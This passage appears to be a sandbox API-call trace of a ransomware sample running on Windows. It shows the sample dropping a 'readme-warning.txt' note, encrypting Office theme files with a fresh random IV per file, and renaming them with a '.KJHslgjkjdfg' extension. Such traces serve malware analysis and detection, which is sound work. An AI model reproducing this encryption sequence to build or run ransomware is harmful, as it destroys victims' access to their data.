CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe770, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f18308) returned 1 [0173.353] CryptDecrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfe7d4 | out: pbData=0x2f11728, pdwDataLen=0x4dfe7d4) returned 1 [0173.353] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.353] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfe7d8, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0173.353] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfe7d0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfe7d0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0173.354] GetProcessHeap () returned 0x2ef0000 [0173.354] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0173.354] wsprintfA (in: param_1=0x4dfea1f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0173.354] wsprintfA (in: param_1=0x4dfee2c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0173.354] GetProcessHeap () returned 0x2ef0000 [0173.354] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f3e278 [0173.354] wsprintfW (in: param_1=0x4dfddfc, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\readme-warning.txt") returned 78 [0173.354] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.354] WriteFile (in: hFile=0x12c, lpBuffer=0x2f3e278*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfddf8, lpOverlapped=0x0 | out: lpBuffer=0x2f3e278*, lpNumberOfBytesWritten=0x4dfddf8*=0x3b3, lpOverlapped=0x0) returned 1 [0173.356] CloseHandle (hObject=0x12c) returned 1 [0173.356] GetProcessHeap () returned 0x2ef0000 [0173.356] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11d10 | out: hHeap=0x2ef0000) returned 1 [0173.356] GetProcessHeap () returned 0x2ef0000 [0173.356] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3e278 | out: hHeap=0x2ef0000) returned 1 [0173.356] GetProcessHeap () returned 0x2ef0000 [0173.356] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0173.356] GetProcessHeap () returned 0x2ef0000 [0173.356] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0173.356] FindClose (in: hFindFile=0x2f182c8 | out: hFindFile=0x2f182c8) returned 1 [0173.357] GetProcessHeap () returned 0x2ef0000 [0173.357] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0173.357] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="INDUST", cAlternateFileName="")) returned 1 [0173.357] GetProcessHeap () returned 0x2ef0000 [0173.357] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x8e) returned 0x2f425d0 [0173.357] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\*.*", lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f182c8 [0173.359] GetProcessHeap () returned 0x2ef0000 [0173.359] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f425d0 | out: hHeap=0x2ef0000) returned 1 [0173.359] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0173.359] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4901300, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x539538d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4901300, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x184e9, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="INDUST.ELM", cAlternateFileName="")) returned 1 [0173.359] GetProcessHeap () returned 0x2ef0000 [0173.359] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x290) returned 0x2f14588 [0173.359] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.360] GetProcessHeap () returned 0x2ef0000 [0173.360] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0173.360] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0173.360] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0173.360] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x7, lpOverlapped=0x0) returned 1 [0173.430] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.430] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.430] GetProcessHeap () returned 0x2ef0000 [0173.430] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0173.430] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0173.430] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.430] WriteFile (in: hFile=0x12c, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0173.430] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0173.430] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0173.430] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0173.430] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0173.430] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0173.431] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.431] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.431] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.431] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x184e9, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x184e9, lpOverlapped=0x0) returned 1 [0173.444] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x184f0, dwBufLen=0x184f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x184f0) returned 1 [0173.446] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.446] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x184f0, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x184f0, lpOverlapped=0x0) returned 1 [0173.446] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.446] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x185b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.446] SetEndOfFile (hFile=0x12c) returned 1 [0173.450] GetProcessHeap () returned 0x2ef0000 [0173.450] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0173.450] GetProcessHeap () returned 0x2ef0000 [0173.450] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0173.450] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.elm.kjhslgjkjdfg")) returned 1 [0173.456] CloseHandle (hObject=0x12c) returned 1 [0173.456] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x225, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="INDUST.INF", cAlternateFileName="")) returned 1 [0173.456] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.458] GetProcessHeap () returned 0x2ef0000 [0173.458] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0173.458] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0173.458] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0173.458] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0xb, lpOverlapped=0x0) returned 1 [0173.460] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.460] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.460] GetProcessHeap () returned 0x2ef0000 [0173.460] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x30) returned 0x2f14ca8 [0173.460] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30, dwBufLen=0x30 | out: pbData=0x2f14ca8*, pdwDataLen=0x4dfefd0*=0x30) returned 1 [0173.460] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.460] WriteFile (in: hFile=0x12c, lpBuffer=0x2f14ca8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f14ca8*, lpNumberOfBytesWritten=0x4dfefe8*=0x30, lpOverlapped=0x0) returned 1 [0173.460] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0173.460] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0173.460] WriteFile (in: hFile=0x12c, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0173.461] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0173.461] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0173.461] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.461] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.461] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.461] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x225, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x225, lpOverlapped=0x0) returned 1 [0173.461] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x230, dwBufLen=0x230 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x230) returned 1 [0173.461] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.461] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x230, lpOverlapped=0x0) returned 1 [0173.461] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.461] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x2f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.461] SetEndOfFile (hFile=0x12c) returned 1 [0173.464] GetProcessHeap () returned 0x2ef0000 [0173.464] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0173.464] GetProcessHeap () returned 0x2ef0000 [0173.464] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0173.464] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\INDUST.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\indust.inf.kjhslgjkjdfg")) returned 1 [0173.472] CloseHandle (hObject=0x12c) returned 1 [0173.472] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x143b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0173.472] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.472] GetProcessHeap () returned 0x2ef0000 [0173.473] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0173.473] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0173.473] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0173.473] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff018*, lpNumberOfBytesWritten=0x4dfefe8*=0x5, lpOverlapped=0x0) returned 1 [0173.495] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.495] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.495] GetProcessHeap () returned 0x2ef0000 [0173.495] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0173.495] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dfefd0*=0x40) returned 1 [0173.496] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.496] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dfefe8*=0x40, lpOverlapped=0x0) returned 1 [0173.496] WriteFile (in: hFile=0x12c, lpBuffer=0x4dfeff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dfeff0*, lpNumberOfBytesWritten=0x4dfefe8*=0x4, lpOverlapped=0x0) returned 1 [0173.496] WriteFile (in: hFile=0x12c, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dfefe8*=0x10, lpOverlapped=0x0) returned 1 [0173.496] WriteFile (in: hFile=0x12c, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dfefe8*=0x80, lpOverlapped=0x0) returned 1 [0173.496] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff010 | out: lpNewFilePointer=0x0) returned 1 [0173.496] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4dff000*, lpNumberOfBytesWritten=0x4dfefe8*=0x8, lpOverlapped=0x0) returned 1 [0173.496] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dfefec | out: phKey=0x4dfefec*=0x2f18308) returned 1 [0173.497] CryptSetKeyParam (hKey=0x2f18308, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0173.497] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.497] ReadFile (in: hFile=0x12c, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x143b, lpNumberOfBytesRead=0x4dfeff4, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dfeff4*=0x143b, lpOverlapped=0x0) returned 1 [0173.507] CryptEncrypt (in: hKey=0x2f18308, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x1440, dwBufLen=0x1440 | out: pbData=0x4bf0020*, pdwDataLen=0x4dfefd0*=0x1440) returned 1 [0173.507] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.507] WriteFile (in: hFile=0x12c, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1440, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dfefe8*=0x1440, lpOverlapped=0x0) returned 1 [0173.507] CryptDestroyKey (hKey=0x2f18308) returned 1 [0173.507] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x1514, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.507] SetEndOfFile (hFile=0x12c) returned 1 [0173.510] GetProcessHeap () returned 0x2ef0000 [0173.510] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0173.510] GetProcessHeap () returned 0x2ef0000 [0173.510] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0173.510] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\preview.gif.kjhslgjkjdfg")) returned 1 [0173.513] CloseHandle (hObject=0x12c) returned 1 [0173.514] FindNextFileW (in: hFindFile=0x2f182c8, lpFindFileData=0x4dff078 | out: lpFindFileData=0x4dff078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x8317, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0173.514] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0173.514] GetProcessHeap () returned 0x2ef0000 [0173.514] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0173.514] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0173.514] SetFilePointerEx (in: hFile=0x12c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff008 | out: lpNewFilePointer=0x0) returned 1 [0173.514] WriteFile (in: hFile=0x12c, lpBuffer=0x4dff018*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x4dfefe8, lpOverlapped=0x0 | 